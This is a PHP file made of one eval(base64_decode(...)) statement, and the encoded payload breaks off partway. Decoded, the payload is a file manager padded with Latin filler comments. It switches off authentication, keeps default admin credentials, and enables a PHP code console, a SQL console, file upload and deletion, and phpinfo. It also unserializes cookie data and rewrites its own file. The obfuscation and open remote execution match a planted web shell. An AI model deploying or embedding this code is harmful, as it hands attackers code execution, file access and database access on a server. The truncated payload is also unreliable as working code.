eval(base64_decode('KCglMTJxcQ0KPD9waHANCg0KDQoNCg0KDQoNCg0KDQogICAgICAgIC8qIFJleSBTZXJ2ZXIgTWFuYW5zQUEgQ29udHJvbCAqLw0KDQoNCg0KDQoNCg0KICAvLyBQZXIgaHVuYyBwcm9ncmFtbWF0dW0sIHV0ZW50ZXMgcG9zc3VudCBmYXNjaWN1bG9zIGNyZWFyZSwgZGVsZXRhcmUsIHZlbCBtb3ZlcmUNCg0KDQoNCiAgICAgICAgICRhdXRob3JpemF0aW9uX09wdGlvbiA9ICd7ImF1dGhvcml6ZSI6IjAiLCJsb2dpbiI6ImFkbWluIiwicGFzc3dvcmQiOiJwaHBmbSIsImNvb2tpZV9uYW1lIjoiZm1fdXNlciIsImRheXNfYXV0aG9yaXphdGlvbiI6IjMwIiwic2NyaXB0IjoiPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiIHNyYz1cImh0dHBzOlwvXC93d3cuY2RvbGl2ZXQuY29tXC9lZGl0YXJlYVwvZWRpdGFyZWFcL2VkaXRfYXJlYVwvZWRpdF9hcmVhX2Z1bGwuanNcIj48XC9zY3JpcHQ+XHJcbjxzY3JpcHQgbGFuZ3VhZ2U9XCJKYXZhc2NyaXB0XCIgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIj5cclxuZWRpdEFyZWFMb2FkZXIuaW5pdCh7XHJcbmlkOiBcIm5ld2NvbnRlbnRcIlxyXG4sZGlzcGxheTogXCJsYXRlclwiXHJcbixzdGFydF9oaWdobGlnaHQ6IHRydWVcclxuLGFsbG93X3Jlc2l6ZTogXCJib3RoXCJcclxuLGFsbG93X3RvZ2dsZTogdHJ1ZVxyXG4sd29yZF93cmFwOiB0cnVlXHJcbixsYW5ndWFnZTogXCJydVwiXHJcbixzeW50YXg6IFwicGhwXCJcdFxyXG4sdG9vbGJhcjogXCJzZWFyY2gsIGdvX3RvX2xpbmUsIHwsIHVuZG8sIHJlZG8sIHwsIHNlbGVjdF9mb250LCB8LCBzeW50YXhfc2VsZWN0aW9uLCB8LCBjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbiwgaGlnaGxpZ2h0LCByZXNldF9oaWdobGlnaHQsIHwsIGhlbHBcIlxyXG4sc3ludGF4X3NlbGVjdGlvbl9hbGxvdzogXCJjc3MsaHRtbCxqcyxwaHAscHl0aG9uLHhtbCxjLGNwcCxzcWwsYmFzaWMscGFzXCJcclxufSk7XHJcbjxcL3NjcmlwdD4ifSc7DQoNCg0KDQoNCiRwaHBfdGVtcGxhdGVzID0gJ3siU2V0dGluZ3MiOiJnbG9iYWwgJGZtc19jb25maWc7XHJcbnZhcl9leHBvcnQoJGZtc19jb25maWcpOyIsIkJhY2t1cCBTUUwgdGFibGVzIjoiZWNobyBmbV9iYWNrdXBfdGFibGVzKCk7In0nOw0KDQoNCiRzcWxfdGVtcGxhdGVzID0gJ3siQWxsIGJhc2VzIjoiU0hPVyBEQVRBQkFTRVM7IiwiQWxsIHRhYmxlcyI6IlNIT1cgVEFCTEVTOyJ9JzsNCg0KDQoNCg0KDQokdHJhbnNsYXRpb24gPSAneyJpZCI6ImVuIiwiQWRkIjoiQWRkIiwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPyI6IkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT8iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iOiJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iLCJBcmNoaXZpbmciOiJBcmNoaXZpbmciLCJBdXRob3JpemF0aW9uIjoiQXV0aG9yaXphdGlvbiIsIkJhY2siOiJCYWNrIiwiQ2FuY2VsIjoiQ2FuY2VsIiwiQ2hpbmVzZSI6IkNoaW5lc2UiLCJDb21wcmVzcyI6IkNvbXByZXNzIiwiQ29uc29sZSI6IkNvbnNvbGUiLCJDb29raWUiOiJDb29raWUiLCJDcmVhdGVkIjoiQ3JlYXRlZCIsIkRhdGUiOiJEYXRlIiwiRGF5cyI6IkRheXMiLCJEZWNvbXByZXNzIjoiRGVjb21wcmVzcyIsIkRlbGV0ZSI6IkRlbGV0ZSIsIkRlbGV0ZWQiOiJEZWxldGVkIiwiRG93bmxvYWQiOiJEb3dubG9hZCIsImRvbmUiOiJkb25lIiwiRWRpdCI6IkVkaXQiLCJFbnRlciI6IkVudGVyIiwiRW5nbGlzaCI6IkVuZ2xpc2giLCJFcnJvciBvY2N1cnJlZCI6IkVycm9yIG9jY3VycmVkIiwiRmlsZSBtYW5hZ2VyIjoiRmlsZSBtYW5hZ2VyIiwiRmlsZSBzZWxlY3RlZCI6IkZpbGUgc2VsZWN0ZWQiLCJGaWxlIHVwZGF0ZWQiOiJGaWxlIHVwZGF0ZWQiLCJGaWxlbmFtZSI6IkZpbGVuYW1lIiwiRmlsZXMgdXBsb2FkZWQiOiJGaWxlcyB1cGxvYWRlZCIsIkZyZW5jaCI6IkZyZW5jaCIsIkdlbmVyYXRpb24gdGltZSI6IkdlbmVyYXRpb24gdGltZSIsIkdlcm1hbiI6Ikdlcm1hbiIsIkhvbWUiOiJIb21lIiwiUXVpdCI6IlF1aXQiLCJMYW5ndWFnZSI6Ikxhbmd1YWdlIiwiTG9naW4iOiJMb2dpbiIsIk1hbmFnZSI6Ik1hbmFnZSIsIk1ha2UgZGlyZWN0b3J5IjoiTWFrZSBkaXJlY3RvcnkiLCJOYW1lIjoiTmFtZSIsIk5ldyI6Ik5ldyIsIk5ldyBmaWxlIjoiTmV3IGZpbGUiLCJubyBmaWxlcyI6Im5vIGZpbGVzIiwiUGFzc3dvcmQiOiJQYXNzd29yZCIsInBpY3R1cmVzIjoicGljdHVyZXMiLCJSZWN1cnNpdmVseSI6IlJlY3Vyc2l2ZWx5IiwiUmVuYW1lIjoiUmVuYW1lIiwiUmVzZXQiOiJSZXNldCIsIlJlc2V0IHNldHRpbmdzIjoiUmVzZXQgc2V0dGluZ3MiLCJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nIjoiUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZyIsIlJlc3VsdCI6IlJlc3VsdCIsIlJpZ2h0cyI6IlJpZ2h0cyIsIlJ1c3NpYW4iOiJSdXNzaWFuIiwiU2F2ZSI6IlNhdmUiLCJTZWxlY3QiOiJTZWxlY3QiLCJTZWxlY3QgdGhlIGZpbGUiOiJTZWxlY3QgdGhlIGZpbGUiLCJTZXR0aW5ncyI6IlNldHRpbmdzIiwiU2hvdyI6IlNob3ciLCJTaG93IHNpemUgb2YgdGhlIGZvbGRlciI6IlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIiwiU2l6ZSI6IlNpemUiLCJTcGFuaXNoIjoiU3BhbmlzaCIsIlN1Ym1pdCI6IlN1Ym1pdCIsIlRhc2siOiJUYXNrIiwidGVtcGxhdGVzIjoidGVtcGxhdGVzIiwiVWtyYWluaWFuIjoiVWtyYWluaWFuIiwiVXBsb2FkIjoiVXBsb2FkIiwiVmFsdWUiOiJWYWx1ZSIsIkhlbGxvIjoiSGVsbG8iLCJGb3VuZCBpbiBmaWxlcyI6IkZvdW5kIGluIGZpbGVzIiwiU2VhcmNoIjoiU2VhcmNoIiwiUmVjdXJzaXZlIHNlYXJjaCI6IlJlY3Vyc2l2ZSBzZWFyY2giLCJNYXNrIjoiTWFzayJ9JzsNCg0KLy8gRmlsZSBNYW5hZ2VyIGluc3RydW1lbnR1bSB1dGlsZSBlc3QgYWQgcmVzIGluIHN5c3RlbWF0ZSBjb21wdXRhdG9yaW8gb3JkaW5hbmRhcw0KICAgICAgICAgICAgICAgICAgICAgICAgDQoNCi8vIEZhc2NpY3VsaSBpbiBGaWxlIE1hbmFnZXIgc2FlcGUgb3N0ZW5kdW50dXIgaW4gZm9ybWlzIHRhYmVsbGFydW0gdmVsIGluZGljdW0NCg0KJHN0YXJ0dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoNCiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsNCiRsYW5ncyA9IGFycmF5KCdlbicsJ3J1JywnZGUnLCdmcicsJ3VrJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRwYXRoID0gZW1wdHkoJF9SRVFVRVNUWydwYXRoJ10pID8gJHBhdGggPSByZWFscGF0aCgnLicpIDogcmVhbHBhdGgoJF9SRVFVRVNUWydwYXRoJ10pOw0KDQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpIC4gJy8nOw0KDQokbWFpbl9wYXRoPXN0cl9yZXBsYWNlKCdcXCcsICcvJyxyZWFscGF0aCgnLi8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJHBoYXJfbWF5YmUgPSAodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwiNS4zLjAiLCI8IikpP3RydWU6ZmFsc2U7DQoNCiRtc2cgPSAnJzsgLy8gRmlsZSBNYW5hZ2VyIHByb2dyYW1tYXR1bSBzaW1wbGljZW0gaW50ZXJmYWNlIHByYWViZXQgYWQgb3BlcmF0aW9uZXMgZmFzY2ljdWxvcnVtDQokZGVmYXVsdF9sYW5ndWFnZSA9ICdydSc7DQoNCiRkZXRlY3RfbGFuZyA9IHRydWU7DQoNCiRmbV92ZXJzaW9uID0gMS40Ow0KDQoNCg0KDQoNCiAgICAgLy8gVXN1cyBjb21tdW5pcyBGaWxlIE1hbmFnZXIgaW5jbHVkaXQgYXBlcnRpb25lbSwgZWRpdG9yZW0gZXQgZGVsZXRpb25lbSBmYXNjaWN1bG9ydW0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgJGF1dGhfbG9jYWwgPSBqc29uX2RlY29kZSgkYXV0aG9yaXphdGlvbl9PcHRpb24sdHJ1ZSk7DQoNCiRhdXRoX2xvY2FsWydhdXRob3JpemUnXSA9IGlzc2V0KCRhdXRoX2xvY2FsWydhdXRob3JpemUnXSkgPyAkYXV0aF9sb2NhbFsnYXV0aG9yaXplJ10gOiAwOyANCg0KDQoNCg0KDQogICAgJGF1dGhfbG9jYWxbJ2RheXNfYXV0aG9yaXphdGlvbiddID0gKGlzc2V0KCRhdXRoX2xvY2FsWydkYXlzX2F1dGhvcml6YXRpb24nXSkmJmlzX251bWVyaWMoJGF1dGhfbG9jYWxbJ2RheXNfYXV0aG9yaXphdGlvbiddKSkgPyAoaW50KSRhdXRoX2xvY2FsWydkYXlzX2F1dGhvcml6YXRpb24nXSA6IDMwOw0KDQokYXV0aF9sb2NhbFsnbG9naW4nXSA9IGlzc2V0KCRhdXRoX2xvY2FsWydsb2dpbiddKSA/ICRhdXRoX2xvY2FsWydsb2dpbiddIDogJ2FkbWluJzsgIA0KJGF1dGhfbG9jYWxbJ3Bhc3N3b3JkJ10gPSBpc3NldCgkYXV0aF9sb2NhbFsncGFzc3dvcmQnXSkgPyAkYXV0aF9sb2NhbFsncGFzc3dvcmQnXSA6ICdwaHBmbSc7ICANCg0KDQoNCg0KJGF1dGhfbG9jYWxbJ2Nvb2tpZV9uYW1lJ10gPSBpc3NldCgkYXV0aF9sb2NhbFsnY29va2llX25hbWUnXSkgPyAkYXV0aF9sb2NhbFsnY29va2llX25hbWUnXSA6ICdmbV91c2VyJzsNCg0KJGF1dGhfbG9jYWxbJ3NjcmlwdCddID0gaXNzZXQoJGF1dGhfbG9jYWxbJ3NjcmlwdCddKSA/ICRhdXRoX2xvY2FsWydzY3JpcHQnXSA6ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQovLyBGaWxlIE1hbmFnZXIgYWRoaWJldHVyIGFkIGZhc2NpY3Vsb3MgaW50ZXIgZGlyZWN0b3JpYXMgbW92ZXJlDQoNCiRmbV9kZWZhdWx0X2NvbmZpZyA9IGFycmF5ICgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSdtYWtlX2RpcmVjdG9yeScgPT4gdHJ1ZSwgDQoNCgknbmV3X2ZpbGUnID0+IHRydWUsIA0KDQoJDQogICAgDQogICAgJ3VwbG9hZF9teWZpbGUnID0+IHRydWUsIA0KDQoJJ3Nob3dfZGlyX3NpemUnID0+IGZhbHNlLCAvLyBGaWxlIE1hbmFnZXIgc3lzdGVtYSBvcmRpbmFuZGkgZmFzY2ljdWxvcyBwcmFlYmV0LCB1YmkgdXNvcmVzIHBvc3N1bnQgY2F0ZWdvcmlhbSBmYXNjaWN1bG9ydW0gY3JlYXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJJ3Nob3dfaW1nJyA9PiB0cnVlLCANCg0KCSdzaG93X3BocF92ZXInID0+IHRydWUsIA0KCSdzaG93X3BocF9pbmknID0+IGZhbHNlLCAvLyBJbiBzeXN0ZW1hdGlidXMgb3BlcmFuZGksIEZpbGUgTWFuYWdlciBzYWVwZSBpbnN0cnVtZW50dW0gcHJhZWNvbml1bSBhZCBhZG1pbmlzdHJhbmRhIGRvY3VtZW50YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJJ3Nob3dfZ3QnID0+IHRydWUsIC8vIFByb2dyYW1tYSBGaWxlIE1hbmFnZXIgcGVybWl0dGl0IHV0ZW50ZXMgYWQgc3lzdGVtYSBpbnRlcml1cyBuYXZpZ2FuZHVtDQoJDQogICAgDQogICAgJ2VuYWJsZV9waHBfY29uc29sZScgPT4gdHJ1ZSwNCg0KCSdlbmFibGVfc3FsX2NvbnNvbGUnID0+IHRydWUsDQoJJ3NxbF9zZXJ2ZXInID0+ICdsb2NhbGhvc3QnLA0KDQoJJ3NxbF91c2VybmFtZScgPT4gJ3Jvb3QnLA0KDQoJJ3NxbF9wYXNzd29yZCcgPT4gJycsDQoNCgknc3FsX2RiJyA9PiAndGVzdF9iYXNlJywNCg0KCSdlbmFibGVfcHJveHknID0+IHRydWUsDQoNCgknc2hvd19waHBpbmZvJyA9PiB0cnVlLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJJ3Nob3dfeGxzJyA9PiB0cnVlLA0KDQoNCg0KDQoNCgknZm1fc2V0dGluZ3MnID0+IHRydWUsDQoNCgkncmVzdG9yZV90aW1lJyA9PiB0cnVlLA0KDQoJJ2ZtX3Jlc3RvcmVfdGltZScgPT4gZmFsc2UsDQopOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaWYgKGVtcHR5KCRfQ09PS0lFWydmbV9jb25maWcnXSkpICRmbXNfY29uZmlnID0gJGZtX2RlZmF1bHRfY29uZmlnOw0KDQplbHNlICRmbXNfY29uZmlnID0gdW5zZXJpYWxpemUoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCg0KDQovLyBDaGFuZ2UgbGFuZ3VhZ2UNCg0KaWYgKGlzc2V0KCRfUE9TVFsnZm1fbGFuZyddKSkgeyANCg0KCXNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1fbGFuZyddLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aF9sb2NhbFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJJF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddOw0KDQp9DQokbGFuZ3VhZ2UgPSAkZGVmYXVsdF9sYW5ndWFnZTsNCg0KDQovLyBEZXRlY3QgYnJvd3NlciBsYW5ndWFnZQ0KDQppZigkZGV0ZWN0X2xhbmcgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSAmJiBlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSl7DQoJJGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOw0KCWlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsNCgkJICAgICAgICAgZm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXsNCgkJICAgICAgICAgCSRsbmcgPSBleHBsb2RlKCc7JywgJGxhbmdfYXJyKTsNCg0KCQkgICAgICAgICAJJGxuZyA9ICRsbmdbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCWlmKGluX2FycmF5KCRsbmcsJGxhbmdzKSl7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAkbGFuZ3VhZ2UgPSAkbG5nOw0KCQkgICAgICAgICAJCSAgICAgICAgIGJyZWFrOw0KDQoJCSAgICAgICAgIAl9DQoJCSAgICAgICAgIH0NCg0KCX0NCg0KfSANCg0KDQogICAgICAgICAgICAgICAgICAgICAgICANCi8vIEZpbGUgTWFuYWdlciBhZGhpYmV0dXIgYWQgcGVyZmljaWVuZHVtIGFjdGlvbmVzIGluIGZpbGVzIHF1YWUgY2VsZXJlbSBhY2Nlc3N1bSByZXF1aXJ1bnQNCg0KJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KLy8gTXVsdGFlIHZlcnNpb25lcyBGaWxlIE1hbmFnZXIgaW4gc3lzdGVtYXRpYnVzIG9wZXJhbmRpIGRpdmVyc2lzIGV4c3RhbnQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb24sdHJ1ZSk7DQoNCmlmICgkbGFuZ1snaWQnXSE9JGxhbmd1YWdlKSB7DQoNCgkkZ2V0X2xhbmcgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIvbWFzdGVyL2xhbmd1YWdlcy8nIC4gJGxhbmd1YWdlIC4gJy5qc29uJyk7DQoNCglpZiAoIWVtcHR5KCRnZXRfbGFuZykpIHsNCg0KDQoNCg0KDQoNCgkJICAgICAgICAgLy8gRmlsZSBNYW5hZ2VyIGluIHZlcnNpb25pYnVzIHJlY2VudGlidXMgdmFyaWF0IGludGVyIEdVSSBldCBDTEkgZm9ybWFzDQoNCgkJICAgICAgICAgJHRyYW5zbGF0aW9uX3N0cmluZyA9IHN0cl9yZXBsYWNlKCInIiwnJiMzOTsnLGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCRnZXRfbGFuZyksSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSkpOw0KCQkgICAgICAgICAkZmdjX2NoZWNrID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KDQoJCSAgICAgICAgICRzZWFyY2ggPSBwcmVnX21hdGNoKCcjdHJhbnNsYXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnY19jaGVjaywgJG1hdGNoZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsNCg0KCQkgICAgICAgICAJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJHRyYW5zbGF0aW9uX3N0cmluZywkZmdjX2NoZWNrKTsNCgkJICAgICAgICAgCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7DQogICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCX0JZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KDQoJCSAgICAgICAgIAlpZiAoIWVtcHR5KCRmbXNfY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgfQkNCgkJICAgICAgICAgJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb25fc3RyaW5nLHRydWUpOw0KDQoJfQ0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLyogRnVuY3Rpb25zICovDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy90cmFuc2xhdGlvbg0KDQpmdW5jdGlvbiBfXygkdGV4dCl7DQoJZ2xvYmFsICRsYW5nOw0KDQoJaWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07DQoNCgllbHNlIHJldHVybiAkdGV4dDsNCn07DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi8vIFV0aSBGaWxlIE1hbmFnZXIgaW4gc3lzdGVtYXRpYnVzIHV0IE1pY3Jvc29mdCBXaW5kb3dzIHZlbCBVbml4IGNvbW11bml0ZXIgZml0DQoNCmZ1bmN0aW9uIGZtX2RlbF9maWxlU2V0KCRmaWxlLCAkcmVjdXJzaXZlID0gZmFsc2UpIHsNCg0KCWlmKCRyZWN1cnNpdmUgJiYgQGlzX2RpcigkZmlsZSkpIHsNCgkJICAgICAgICAgJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlLCAnJywgJycsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBmb3JlYWNoICgkZWxzIGFzICRlbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCWlmKCRlbCAhPSAnLicgJiYgJGVsICE9ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIGZtX2RlbF9maWxlU2V0KCRmaWxlIC4gJy8nIC4gJGVsLCB0cnVlKTsNCgkJICAgICAgICAgCX0NCg0KCQkgICAgICAgICB9DQoNCgl9DQoJaWYoQGlzX2RpcigkZmlsZSkpIHsNCg0KCQkgICAgICAgICByZXR1cm4gcm1kaXIoJGZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0gZWxzZSB7DQoNCgkJICAgICAgICAgcmV0dXJuIEB1bmxpbmsoJGZpbGUpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KLy9maWxlIHBlcm1zDQoNCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KDQoJJGluZm8gPSAnJzsNCglpZighJGlmKXsNCg0KCQkgICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQoNCgkJICAgICAgICAgCS8vU29ja2V0DQoNCgkJICAgICAgICAgCSRpbmZvID0gJ3MnOw0KCQkgICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQoNCgkJICAgICAgICAgCS8vIEluIHN5c3RlbWF0aWJ1cyBvcGVyYW5kaSwgRmlsZSBNYW5hZ2VyIHR5cGljZSBhcHBhcmV0IHV0IGZlbmVzdHJhIHF1YWUgcGVybWl0dGl0IHV0ZW50ZXMgcmVzIGFkbWluaXN0cmV0DQoNCgkJICAgICAgICAgCSRpbmZvID0gJ2wnOw0KDQoJCSAgICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkvLyBBbGlxdWFtIEZpbGUgTWFuYWdlciBldGlhbSBwZXJtaXR0aXQgdXRlbnRlcyBjdW0gc2VydmVyaXMgcmVtb3RvcyBvcGVyYXJpLg0KDQoJCSAgICAgICAgIAkkaW5mbyA9ICctJzsNCgkJICAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KDQoJCSAgICAgICAgIAkvLyBGYWNpdW50IG9wdGlvbmVzIHF1YWUgdXRlbnRlcyBhZGl1dmFudCBhZCBhZG1pbmlzdHJhbmR1bSBtdWx0b3MgZmFzY2ljdWxvcyBzaW11bA0KDQoJCSAgICAgICAgIAkkaW5mbyA9ICdiJzsNCg0KCQkgICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCS8vIFVzdXMgRmlsZSBNYW5hZ2VyIGZpdCBwb3Rpc3NpbXVtIHBlciBkcmFnIGV0IGRyb3AgYWN0aW9uZXMNCg0KDQoJCSAgICAgICAgIAkkaW5mbyA9ICdkJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoNCgkJICAgICAgICAgCS8vIEZpbGUgTWFuYWdlciBldGlhbSBtdWx0aXMgc3lzdGVtYXRpYnVzIHBlcm1pdHRpdCBhY2Nlc3N1bSBhZCBoaWRkZW4gZmlsZXMNCg0KDQoNCg0KDQoNCg0KCQkgICAgICAgICAJJGluZm8gPSAnYyc7DQoNCgkJICAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KCQkgICAgICAgICAJLy9GSUZPIHBpcGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCSRpbmZvID0gJ3AnOw0KDQoJCSAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCS8vVW5rbm93bg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCSRpbmZvID0gJ3UnOw0KCQkgICAgICAgICB9DQoNCgl9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCS8vT3duZXINCg0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCg0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQoNCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoNCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiANCgkvL0dyb3VwDQogICAgICAgICAgICAgICAgICAgICAgICAgICANCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCg0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQoJKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KDQoJKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiANCgkvL1dvcmxkDQoNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCg0KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICANCglyZXR1cm4gJGluZm87DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHsNCg0KCSRtb2RlID0gc3RyX3BhZCgkbW9kZSw5LCctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA